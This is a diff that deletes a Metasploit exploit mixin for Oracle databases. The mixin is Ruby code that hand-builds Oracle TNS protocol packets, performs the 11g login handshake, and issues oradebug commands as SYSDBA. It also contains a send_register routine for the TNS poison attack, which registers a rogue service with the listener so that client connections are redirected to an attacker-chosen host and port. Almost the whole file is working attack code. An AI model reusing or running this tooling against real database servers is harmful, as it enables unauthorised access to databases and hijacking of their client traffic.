|
|
|
@ -1,528 +0,0 @@
|
|
|
|
|
# -*- coding: binary -*-
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
module Exploit::OracleTNS
|
|
|
|
|
#Just make the code more readable. All of the longpackets are defined in this mixin.
|
|
|
|
|
include Msf::Exploit::Tnslongpackets
|
|
|
|
|
#Maybe it's more reusable as a mixin, contains the crypt functions for the authentication
|
|
|
|
|
include Msf::Exploit::Oracrypto
|
|
|
|
|
#Use the rex sockets
|
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
|
super
|
|
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('RHOST', [ true, 'The Oracle host', '']),
|
|
|
|
|
OptString.new('RPORT', [ true, 'The TNS port', '1521']),
|
|
|
|
|
OptString.new('SID', [ true, 'The SID to authenticate with', 'ORCL']),
|
|
|
|
|
OptString.new('DBUSER', [ false, 'The username to authenticate with, it should be SYSDBA for oradebug', 'SYS']),
|
|
|
|
|
OptString.new('DBPASS', [ false, 'The password to authenticate with', 'changeme']),
|
|
|
|
|
], Msf::Exploit::OracleTNS
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
#Will be used in version exchange with the server
|
|
|
|
|
@client_ver="Linuxi386/Linux-2.0.34-8.1.0"
|
|
|
|
|
#Will be filled
|
|
|
|
|
@server_ver=""
|
|
|
|
|
#Long server version
|
|
|
|
|
@long_server_ver=""
|
|
|
|
|
#Salt of the user password, received from the server
|
|
|
|
|
@auth_vfr_data=""
|
|
|
|
|
#Client auth sesskey. Used in the AUTH_PASSWORD creation.
|
|
|
|
|
@decr_auth_sesskey_client="\x22"*40
|
|
|
|
|
#The current seq number that the client sends to the server
|
|
|
|
|
@seqid=6
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def create_socket
|
|
|
|
|
connect
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
#This used for the tnspoison attack. There is no resend from the server thus we implemented
|
|
|
|
|
#it as a new function. Better structuring can be used here.
|
|
|
|
|
#
|
|
|
|
|
def tns_command(connect_data)
|
|
|
|
|
#From this point we need all of the parameters
|
|
|
|
|
@host=datastore['RHOST']
|
|
|
|
|
@port=datastore['RPORT']
|
|
|
|
|
@sid=datastore['SID']
|
|
|
|
|
@username=datastore['DBUSER']
|
|
|
|
|
@password=datastore['DBPASS']
|
|
|
|
|
packet=[58+connect_data.length].pack('n')
|
|
|
|
|
#checksum
|
|
|
|
|
packet << "\x00\x00"
|
|
|
|
|
#connect packet
|
|
|
|
|
packet << "\x01"
|
|
|
|
|
#reserved byte
|
|
|
|
|
packet << "\x00"
|
|
|
|
|
#header checksum
|
|
|
|
|
packet << "\x00\x00"
|
|
|
|
|
#version (11g client)
|
|
|
|
|
packet << "\x01\x3a"
|
|
|
|
|
#compatible
|
|
|
|
|
packet << "\x01\x2c"
|
|
|
|
|
#don't care too much
|
|
|
|
|
packet << "\x0c\x41\x20\x00\xff\xff\x7f\x08\x00\x00\x01\x00"
|
|
|
|
|
#Connect data length
|
|
|
|
|
packet << [connect_data.length].pack('n')
|
|
|
|
|
#Connect data offset 58
|
|
|
|
|
packet << "\x00\x3a"
|
|
|
|
|
#don't care too much
|
|
|
|
|
packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
|
packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
|
packet << connect_data
|
|
|
|
|
create_socket
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
if rdata==""
|
|
|
|
|
print_error("Connect packet timeout! We did not receive reply from the server in 5s!\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata)+"\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
#accept?
|
|
|
|
|
if "\x02"!=rdata[4,1]
|
|
|
|
|
print_error("We expected accept packet, but we received the following:\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata)+"\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
return true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def tnsconnect
|
|
|
|
|
@host=datastore['RHOST']
|
|
|
|
|
@port=datastore['RPORT']
|
|
|
|
|
@sid=datastore['SID']
|
|
|
|
|
@username=datastore['DBUSER']
|
|
|
|
|
@password=datastore['DBPASS']
|
|
|
|
|
connect_data='(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME='
|
|
|
|
|
connect_data << @sid
|
|
|
|
|
connect_data << ')(CID=(PROGRAM=sqlplus)(HOST=test)(USER=root)))(ADDRESS=(PROTOCOL=TCP)(HOST='
|
|
|
|
|
connect_data << @host
|
|
|
|
|
connect_data << ')(PORT='
|
|
|
|
|
connect_data << @port.to_s
|
|
|
|
|
connect_data << ')))'
|
|
|
|
|
packet=[58+connect_data.length].pack('n')
|
|
|
|
|
#checksum
|
|
|
|
|
packet << "\x00\x00"
|
|
|
|
|
#connect packet
|
|
|
|
|
packet << "\x01"
|
|
|
|
|
#reserved byte
|
|
|
|
|
packet << "\x00"
|
|
|
|
|
#header checksum
|
|
|
|
|
packet << "\x00\x00"
|
|
|
|
|
#version (11g client)
|
|
|
|
|
packet << "\x01\x3a"
|
|
|
|
|
#compatible
|
|
|
|
|
packet << "\x01\x2c"
|
|
|
|
|
#don't care too much
|
|
|
|
|
packet << "\x0c\x41\x20\x00\xff\xff\x7f\x08\x00\x00\x01\x00"
|
|
|
|
|
#Connect data length
|
|
|
|
|
packet << [connect_data.length].pack('n')
|
|
|
|
|
#Connect data offset 58
|
|
|
|
|
packet << "\x00\x3a"
|
|
|
|
|
#don't care too much
|
|
|
|
|
packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
|
packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
|
packet << connect_data
|
|
|
|
|
create_socket
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
if rdata==""
|
|
|
|
|
print_error("Connect packet timeout! We did not receive reply from the server in 5s!\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata)+"\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
#resend?
|
|
|
|
|
if "\x0b"!=rdata[4,1]
|
|
|
|
|
print_error("We expected resend packet, but we received the following:\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata)+"\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
if rdata==""
|
|
|
|
|
print_error("Connect packet timeout! We did not receive reply from the server in 5s!\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata)+"\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
#accept?
|
|
|
|
|
if "\x02"!=rdata[4,1]
|
|
|
|
|
print_error("We expected accept packet, but we received the following:\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata)+"\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
return true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
#Usually you need time when you communicate with the database.
|
|
|
|
|
#It handles the TDS packet format.
|
|
|
|
|
#
|
|
|
|
|
def receive_timeout(timeout)
|
|
|
|
|
header=@sock.get_once(8,timeout)
|
|
|
|
|
len=header[0,2].unpack("n")[0]
|
|
|
|
|
resp = header
|
|
|
|
|
len-=8
|
|
|
|
|
while(len > 0)
|
|
|
|
|
data = @sock.get_once(len, timeout)
|
|
|
|
|
return "" if not data
|
|
|
|
|
resp << data
|
|
|
|
|
len -= data.length
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
resp
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def sns
|
|
|
|
|
#Usual stuff length+packet checksum+type+reserved byte+header checksum
|
|
|
|
|
packet = "\x00\xa1\x00\x00\x06\x00\x00\x00\x00\x00"
|
|
|
|
|
|
|
|
|
|
#I'm not interested now just send the packet out
|
|
|
|
|
packet << "\xde\xad\xbe\xef\x00\x97\x00\x00\x00\x00"
|
|
|
|
|
packet << "\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00"
|
|
|
|
|
packet << "\x08\x00\x01\x00\x00\x11\x95\xee\x1b\xb8\x87\x00\x12\x00\x01\xde\xad\xbe\xef\x00"
|
|
|
|
|
packet << "\x03\x00\x00\x00\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00"
|
|
|
|
|
packet << "\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00\x02\x00\x03\xe0\xe1\x00\x02\x00\x06\xfc"
|
|
|
|
|
packet << "\xff\x00\x02\x00\x03\x00\x00\x00\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00\x0c\x00"
|
|
|
|
|
packet << "\x01\x00\x11\x06\x10\x0c\x0f\x0a\x0b\x08\x02\x01\x03\x00\x01\x00\x02\x01\x00\x03"
|
|
|
|
|
packet << "\x00\x02\x00\x00\x00\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00\x03\x00\x01\x00\x03\x01"
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
#we check for the deadbeef. We receive this in the case of 11gr2 64bit linux
|
|
|
|
|
if rdata[10,4] != "\xde\xad\xbe\xef"
|
|
|
|
|
print_error("We received twrong answer to the SNS packet!\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata[10,4]))
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
return true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def version_exchange
|
|
|
|
|
#packet length
|
|
|
|
|
packet=[19+@client_ver.length].pack('n')
|
|
|
|
|
#Usual stuff packet checksum+type+reserved byte+header checksum
|
|
|
|
|
packet << "\x00\x00\x06\x00\x00\x00\x00\x00"
|
|
|
|
|
#Supported protocol versions (it has some version info)
|
|
|
|
|
packet << "\x01\x06\x05\x04\x03\x02"
|
|
|
|
|
#String length
|
|
|
|
|
packet << [@client_ver.length].pack('n')
|
|
|
|
|
packet << @client_ver
|
|
|
|
|
packet << "\x00"
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
i=13
|
|
|
|
|
while rdata[i,1] != "\x00" and i < 40 do
|
|
|
|
|
@server_ver << rdata[i]
|
|
|
|
|
i+=1
|
|
|
|
|
end
|
|
|
|
|
if @server_ver.include?("NT64") || @server_ver.include?("x86_64/Linux")
|
|
|
|
|
print_status("The server version is: %s\n" % @server_ver)
|
|
|
|
|
return true
|
|
|
|
|
else
|
|
|
|
|
print_error("Unsupported server version: %s" % @server_ver)
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def typereps
|
|
|
|
|
if @server_ver =~ /WIN_NT/
|
|
|
|
|
packet=@typerep_client_lin2win
|
|
|
|
|
else
|
|
|
|
|
packet=@typerep_client
|
|
|
|
|
end
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
if rdata.length > 1000
|
|
|
|
|
print_status("Typereps received. We received %d bytes.\n" % rdata.length)
|
|
|
|
|
return true
|
|
|
|
|
else
|
|
|
|
|
print_error("Too small typerep package, something went wrong!\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata))
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def username(auth_terminal="pts/2", program_nm="sqlplus", auth_machine="127.0.0.1", auth_pid="1234", auth_sid="1234")
|
|
|
|
|
#Not important for now, needs analysis later
|
|
|
|
|
if @server_ver =~ /WIN_NT/
|
|
|
|
|
packet_body="\x03\x76\x02\x01\x03\x00\x00\x00\x21\x00\x00\x00\x01\x05\x00\x00\x00\x01\x01"
|
|
|
|
|
else
|
|
|
|
|
packet_body = "\x03\x76\x02\x01\x03\x00"
|
|
|
|
|
packet_body << "\x00\x00\x21\x00\x00\x00\x01\x05\x00\x00\x00\x01\x01"
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
packet_body << [@username.length].pack('C')
|
|
|
|
|
packet_body << @username
|
|
|
|
|
packet_body << gen_field("AUTH_TERMINAL", auth_terminal)
|
|
|
|
|
packet_body << gen_field("AUTH_PROGRAM_NM", program_nm)
|
|
|
|
|
packet_body << gen_field("AUTH_MACHINE", auth_machine)
|
|
|
|
|
packet_body << gen_field("AUTH_PID", auth_pid)
|
|
|
|
|
packet_body << gen_field("AUTH_SID", auth_sid)
|
|
|
|
|
|
|
|
|
|
#packet length
|
|
|
|
|
packet_head = [10+packet_body.length].pack('n')
|
|
|
|
|
#Usual stuff length+packet checksum+type+reserved byte+header checksum
|
|
|
|
|
packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00"
|
|
|
|
|
packet = packet_head+packet_body
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
|
|
|
|
|
if !(rdata=~ /AUTH_SESSKEY/)
|
|
|
|
|
print_error("We expected AUTH_SESSKEY, but we received the following:\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata))
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
index=rdata.index("AUTH_SESSKEY")
|
|
|
|
|
@auth_sesskey_server_len=rdata.slice(index+12, 2).unpack('v')[0]
|
|
|
|
|
marker=rdata.slice(index+17,1)
|
|
|
|
|
#With linux 64 bit the authesesskey is separated by a space and the first part is 0x40 long
|
|
|
|
|
if marker=="@"
|
|
|
|
|
@auth_sesskey_server=rdata.slice(index+18, 64)
|
|
|
|
|
@auth_sesskey_server=@auth_sesskey_server+rdata.slice(index+18+64+1, @auth_sesskey_server_len-64)
|
|
|
|
|
else
|
|
|
|
|
@auth_sesskey_server=rdata.slice(index+17, @auth_sesskey_server_len)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
index=rdata.index("AUTH_VFR_DATA")
|
|
|
|
|
@auth_vfr_data_len=rdata.slice(index+13,2).unpack('v')[0]
|
|
|
|
|
@auth_vfr_data=rdata.slice(index+18,@auth_vfr_data_len)
|
|
|
|
|
return true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def gen_field(fieldname, fieldcontent, term=0)
|
|
|
|
|
field=[fieldname.length].pack('v')+"\x00"+[fieldname.length].pack('n')
|
|
|
|
|
field << fieldname
|
|
|
|
|
if term==0
|
|
|
|
|
field << [fieldcontent.length].pack('v')+"\x00"+[fieldcontent.length].pack('n')
|
|
|
|
|
else
|
|
|
|
|
field << [fieldcontent.length+1].pack('v')+"\x00"+[fieldcontent.length+1].pack('n')
|
|
|
|
|
end
|
|
|
|
|
field << fieldcontent
|
|
|
|
|
#separator
|
|
|
|
|
if term==0
|
|
|
|
|
field << "\x00\x00\x00\x00"
|
|
|
|
|
else
|
|
|
|
|
field << "\x00\x01\x00\x00\x00"
|
|
|
|
|
end
|
|
|
|
|
return field
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def authpassword
|
|
|
|
|
|
|
|
|
|
#Crypto of the Oracle authentication 11g
|
|
|
|
|
salt= [@auth_vfr_data.downcase].pack('H*')
|
|
|
|
|
@password_hash=create11g_hash(@password, salt)
|
|
|
|
|
|
|
|
|
|
@decr_auth_sesskey_server=decrypt_sesskey([@auth_sesskey_server].pack('H*'), @password_hash, @auth_sesskey_server_len)
|
|
|
|
|
@combined_sesskey=combine_sesskeys(@decr_auth_sesskey_server, @decr_auth_sesskey_client)
|
|
|
|
|
@auth_sesskey_client=encrypt_sesskey(@decr_auth_sesskey_client, @password_hash, @auth_sesskey_server_len)
|
|
|
|
|
@auth_password=encrypt_password("\x00"*16 + @password, @combined_sesskey)
|
|
|
|
|
|
|
|
|
|
hex_auth_sesskey=@auth_sesskey_client.unpack("H*")[0].upcase
|
|
|
|
|
|
|
|
|
|
#Not important for now
|
|
|
|
|
if @server_ver =~ /WIN_NT/
|
|
|
|
|
packet_body = "\x03\x73\x03\x01"
|
|
|
|
|
packet_body << [@username.length].pack('C')
|
|
|
|
|
packet_body << "\x00\x00\x00\x21\x01\x00\x00\x01\x12\x00\x00\x00\x01\x01"
|
|
|
|
|
else
|
|
|
|
|
packet_body = "\x03\x73\x03\x01"
|
|
|
|
|
packet_body << [@username.length].pack('C')
|
|
|
|
|
packet_body << "\x00\x00\x00\x21\x01\x00\x00\x01\x12\x00\x00"
|
|
|
|
|
packet_body << "\x00\x01\x01"
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
packet_body << [@username.length].pack('C')
|
|
|
|
|
packet_body << @username
|
|
|
|
|
#The AUTH_SESSKEY generation is different
|
|
|
|
|
field=["AUTH_SESSKEY".length].pack('v')+"\x00"+["AUTH_SESSKEY".length].pack('n')
|
|
|
|
|
field << "AUTH_SESSKEY"
|
|
|
|
|
#It is strange but there is a space at the 0x40 position in the AUTH_SESSKEY
|
|
|
|
|
field << [hex_auth_sesskey.length].pack('v')+"\x00\x00"+"\xfe\x40"
|
|
|
|
|
#First half
|
|
|
|
|
field << hex_auth_sesskey[0, 0x40]
|
|
|
|
|
#The space
|
|
|
|
|
field << "\x20"
|
|
|
|
|
#Second half
|
|
|
|
|
field << hex_auth_sesskey[0x40,0x61]
|
|
|
|
|
#separator
|
|
|
|
|
field << "\x00\x01\x00\x00\x00"
|
|
|
|
|
packet_body << field
|
|
|
|
|
packet_body << gen_field("AUTH_PASSWORD", @auth_password.unpack("H*")[0].upcase)
|
|
|
|
|
packet_body << gen_field("AUTH_RTT","4942")
|
|
|
|
|
packet_body << gen_field("AUTH_CLNT_MEM","4096")
|
|
|
|
|
packet_body << gen_field("AUTH_TERMINAL","pts/2")
|
|
|
|
|
packet_body << gen_field("AUTH_PROGRAM_NM","sqlplus@bt (TNS V1-V3)")
|
|
|
|
|
packet_body << gen_field("AUTH_MACHINE","bt")
|
|
|
|
|
packet_body << gen_field("AUTH_PID","30090")
|
|
|
|
|
packet_body << gen_field("AUTH_SID","root")
|
|
|
|
|
packet_body << gen_field("SESSION_CLIENT_CHARSET","1")
|
|
|
|
|
packet_body << gen_field("SESSION_CLIENT_LIB_TYPE","2")
|
|
|
|
|
packet_body << gen_field("SESSION_CLIENT_DRIVER_NAME","SQL*PLUS ")
|
|
|
|
|
packet_body << gen_field("SESSION_CLIENT_VERSION","186647296")
|
|
|
|
|
packet_body << gen_field("SESSION_CLIENT_LOBATTR","1")
|
|
|
|
|
packet_body << gen_field("AUTH_ACL","4400")
|
|
|
|
|
packet_body << gen_field("AUTH_ALTER_SESSION","ALTER SESSION SET TIME_ZONE='+01:00'",1)
|
|
|
|
|
packet_body << gen_field("AUTH_LOGICAL_SESSION_ID","BA6ECD7AA07F77DFE0430101007F4ACB")
|
|
|
|
|
packet_body << "\x10\x00\x00\x00\x10AUTH_FAILOVER_ID"+"\x00"*8
|
|
|
|
|
|
|
|
|
|
#packet length
|
|
|
|
|
packet_head = [10+packet_body.length].pack('n')
|
|
|
|
|
#Usual stuff length+packet checksum+type+reserved byte+header checksum
|
|
|
|
|
packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00"
|
|
|
|
|
|
|
|
|
|
packet = packet_head+packet_body
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
#Response marker
|
|
|
|
|
if "\x0c"==rdata[4,1]
|
|
|
|
|
print_error("We received response marker! Sending the request marker\n to get the error message!")
|
|
|
|
|
@sock.print(request_marker)
|
|
|
|
|
#Usually there are two markers!
|
|
|
|
|
second_marker=receive_timeout(5)
|
|
|
|
|
error=receive_timeout(5)
|
|
|
|
|
print_error("We received the following error message:\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(error))
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
index=rdata.index("AUTH_SESSION_ID")
|
|
|
|
|
@auth_session_id_len=rdata.slice(index+15, 2).unpack('v')[0]
|
|
|
|
|
@auth_session_id=rdata.slice(index+20, @auth_session_id_len)
|
|
|
|
|
index=rdata.index("AUTH_SERIAL_NUM")
|
|
|
|
|
@auth_serial_num_len=rdata.slice(index+15, 2).unpack('v')[0]
|
|
|
|
|
@auth_serial_num=rdata.slice(index+20, @auth_serial_num_len)
|
|
|
|
|
return true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def request_marker
|
|
|
|
|
packet="\x00\x0b\x00\x00\x0c\x00\x00\x00\x01\x00\x02"
|
|
|
|
|
return packet
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def auth
|
|
|
|
|
if !tnsconnect
|
|
|
|
|
print_error("Something wrong with CONNECT! Maybe you provided wrong SID?\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
print_status("Listener connect done!\n")
|
|
|
|
|
|
|
|
|
|
#We received the accept, sent the sns
|
|
|
|
|
if !sns
|
|
|
|
|
print_error("Something wrong around SNS!\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
print_status("SNS negotiation done!\n")
|
|
|
|
|
|
|
|
|
|
if !version_exchange
|
|
|
|
|
print_error("Something wrong around the versions exchange!\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if !typereps
|
|
|
|
|
print_error("Something wrong around the type representation packages!\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if !username
|
|
|
|
|
print_error("Something wrong around the username packet!\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
print_status("Username packet was sent!\n")
|
|
|
|
|
|
|
|
|
|
if !authpassword
|
|
|
|
|
print_error("Something wrong around the authpassword packet!\n")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
print_status("Authentication done!\n")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
return true
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def get_version
|
|
|
|
|
#header, it is fixed length so we do not generate
|
|
|
|
|
packet = "\x00\x23\x00\x00\x06\x00\x00\x00"
|
|
|
|
|
packet << "\x00\x00\x11\x6b\x04"
|
|
|
|
|
packet << [@auth_session_id.to_i].pack('L')
|
|
|
|
|
@auth_serial_num="12"
|
|
|
|
|
packet << [@auth_serial_num.to_i].pack('L')
|
|
|
|
|
packet << "\x01\x00\x00\x00\x03\x3b\x05\x01\xf4\x01\x00\x00\x01\x01"
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
if !rdata.include?("Oracle Database")
|
|
|
|
|
print_error("We expected long oracle version, but we received the following:\n")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata))
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
return true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def oradebug(command)
|
|
|
|
|
params=command.scan(/(?:\w+)|(?:".*?")/)
|
|
|
|
|
numbofp=params.length
|
|
|
|
|
#oradebug packet
|
|
|
|
|
packet_body="\x03\x56"
|
|
|
|
|
packet_body << [@seqid].pack("L")
|
|
|
|
|
packet_body << "\x00\x00\x00\x00\x00\x01"
|
|
|
|
|
packet_body << [numbofp].pack("L")
|
|
|
|
|
packet_body << "\x01"
|
|
|
|
|
packet_body << [numbofp].pack("L")
|
|
|
|
|
packet_body << "\x01"
|
|
|
|
|
packet_body << [command.length+1].pack("L")
|
|
|
|
|
packet_body << "\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x01"
|
|
|
|
|
packet_body << "\x01\x94\x0f\x00\x00\x01\x00\x00\x00\x00"
|
|
|
|
|
length=0
|
|
|
|
|
#It seems it is the borders of the parameters, so the space is included but
|
|
|
|
|
#the last parameter is not.
|
|
|
|
|
(numbofp-1).times do |i|
|
|
|
|
|
length+=params[i].length+1
|
|
|
|
|
packet_body << [length].pack("L")
|
|
|
|
|
end
|
|
|
|
|
(numbofp).times do |i|
|
|
|
|
|
length=params[i].length
|
|
|
|
|
packet_body << [length].pack("C")
|
|
|
|
|
end
|
|
|
|
|
packet_body << [command.length+1].pack("C")
|
|
|
|
|
packet_body << command+"\x00"
|
|
|
|
|
packet_head = [10+packet_body.length].pack('n')
|
|
|
|
|
#Usual stuff length+packet checksum+type+reserved byte+header checksum
|
|
|
|
|
packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00"
|
|
|
|
|
packet = packet_head+packet_body
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
print_status("We sent the command %s\n and we recived the following:\n" % command)
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata))
|
|
|
|
|
return rdata
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def send_register(sid, dhost, dport)
|
|
|
|
|
#Ruby rulez! You need dup here
|
|
|
|
|
packet=@regpacket[sid.length-1].dup
|
|
|
|
|
packet.gsub!("\x00"+"ORCL12345678"[0,sid.length], "\x00"+sid)
|
|
|
|
|
packet.gsub!("\x00"+"orcl12345678"[0,sid.length], "\x00"+sid)
|
|
|
|
|
packet.gsub!("aaaassssddddfff", dhost.ljust(15))
|
|
|
|
|
packet.gsub!("PORT=1521))\x00", "PORT=%s))\x00" % dport)
|
|
|
|
|
|
|
|
|
|
@sock.print(packet)
|
|
|
|
|
rdata=receive_timeout(5)
|
|
|
|
|
if !rdata.include?("%sXDB" % sid)
|
|
|
|
|
print_error("The reply should contain the %sXDB, but we received the following:")
|
|
|
|
|
print_line(Rex::Text.to_hex_dump(rdata))
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
return true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|